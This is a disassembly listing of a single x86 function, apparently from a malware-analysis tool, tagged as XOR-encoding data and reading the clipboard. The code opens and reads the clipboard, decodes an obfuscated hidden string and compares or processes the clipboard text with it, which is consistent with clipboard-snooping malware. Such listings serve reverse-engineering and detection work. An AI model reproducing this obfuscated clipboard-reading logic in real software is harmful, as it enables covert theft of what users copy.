Function at 0x42d260
Capabilities:
Encode data using xor
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, esp
call fcn.004095f0
push eax
mov dword [esi + 0x18], esp
push eax
mov dword [esi + 0x10], esp
push eax
mov edi, esp
jmp 0x42d280
call fcn.004095f0
push eax
mov dword [esi + 0x1c], esp
push eax
mov dword [esi + 0xc], esp
jmp 0x42d28f
call fcn.004095f0
push eax
mov ecx, esp
sub esp, 0x18
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
mov dword [esi + 0x2c], esp
jmp 0x42d2a7
jmp 0x42d2a9
mov eax, dword [esi + 0x18]
mov edx, dword [ebp + 8]
mov dword [eax], edx
jmp 0x42d2b3
mov dword [esi + 0x30], ecx
mov eax, dword [esi + 0x10]
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
je 0x42d469
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [edi], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [esi + 0x1c]
mov dword [edi], eax
jmp 0x42d30a
cmp dword [edi], 0
setne al
jmp 0x42d312
test al, 1
jne 0x42d31b
jmp 0x42d45b
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x42d32b
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
jmp 0x42d332
jmp 0x42d334
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00408ec0
add esp, 4
mov ecx, dword [esi + 0x30]
mov dword [ecx], eax
mov eax, dword [ecx]
cmp eax, 0
setne al
test al, 1
jne 0x42d35d
jmp 0x42d44d
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x24], eax
mov edx, dword [ecx]
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x2c]
mov al, byte [eax]
mov byte [esi + 0x14], al
mov byte [ebx], 0xf3
mov byte [ebx + 1], 0xd5
mov byte [ebx + 2], 0xd3
mov byte [ebx + 3], 0xcb
mov byte [ebx + 4], 0xd8
mov byte [ebx + 5], 0xcc
mov byte [ebx + 6], 0xdf
mov byte [ebx + 7], 0xcd
mov byte [ebx + 8], 0xda
mov byte [ebx + 9], 0xef
mov byte [ebx + 0xa], 0x34
mov byte [ebx + 0xb], 0x3b
mov byte [ebx + 0xc], 0x36
mov byte [ebx + 0xd], 0xc5
mov word [ebx + 0x12], 0
mov dword [ebx + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x14
jae 0x42d42d
mov dword [esi + 0x28], edx
jmp 0x42d3cf
mov ecx, dword [esi + 4]
mov eax, dword [esi + 4]
movzx eax, byte [ebx + eax]
mov dword [esi + 8], eax
mov edx, ecx
add edx, 0xf7
not eax
mov edi, edx
or edi, eax
mov eax, dword [esi + 8]
lea eax, [eax + edi + 1]
and edx, dword [esi + 8]
mov edi, eax
and edi, edx
xor eax, edx
add ecx, dword [esi + 8]
lea eax, [eax + edi*2]
sub ecx, eax
add ecx, 0xe6cc01f7
mov dword [esi + 0x34], ecx
mov eax, dword [esi + 0x34]
add al, 0x3f
mov ecx, dword [esi + 4]
mov byte [ebx + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x14
jb 0x42d3cf
mov edi, dword [esi + 0x1c]
mov edx, dword [esi + 0x28]
jmp 0x42d42d
sub esp, 0xc
mov ecx, dword [esi + 0x24]
mov dword [esp], ebx
mov eax, dword [esi + 0x20]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.00409800
and al, 1
mov ecx, dword [esi + 0x10]
mov byte [ecx], al
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42d45d
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42d465
jmp 0x42d467
jmp 0x42d469
mov eax, dword [esi + 0x10]
mov al, byte [eax]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret